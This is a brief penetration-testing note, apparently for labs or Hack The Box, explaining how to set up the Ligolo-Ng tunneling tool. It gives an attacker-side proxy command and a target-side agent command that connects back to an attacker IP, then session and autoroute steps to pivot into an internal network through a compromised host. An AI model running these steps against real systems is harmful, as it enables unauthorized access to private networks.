Ligolo-Ng

Note

We need 2 things: Agent → uploaded and executed on the target machine Proxy → running on the attacker machine to receive the connection

On attacker

ligolo-proxy -selfcert -v

On target

./agent -connect <attacker_ip>:11601 -ignore-cert

-ignore-cert skips verification (good enough for labs or HTB)


After the Agent Connects

You should see something like:

Agent joined. id=005056941001 name=ubuntu@WEB01 remote="10.129.192.209:44566"

  1. Run:
session
  1. Select the ID of the connected agent.
  2. Run:
autoroute
  1. Choose the internal network or IP range you want to access.

Once configured, traffic to the selected internal network will be routed through the compromised host.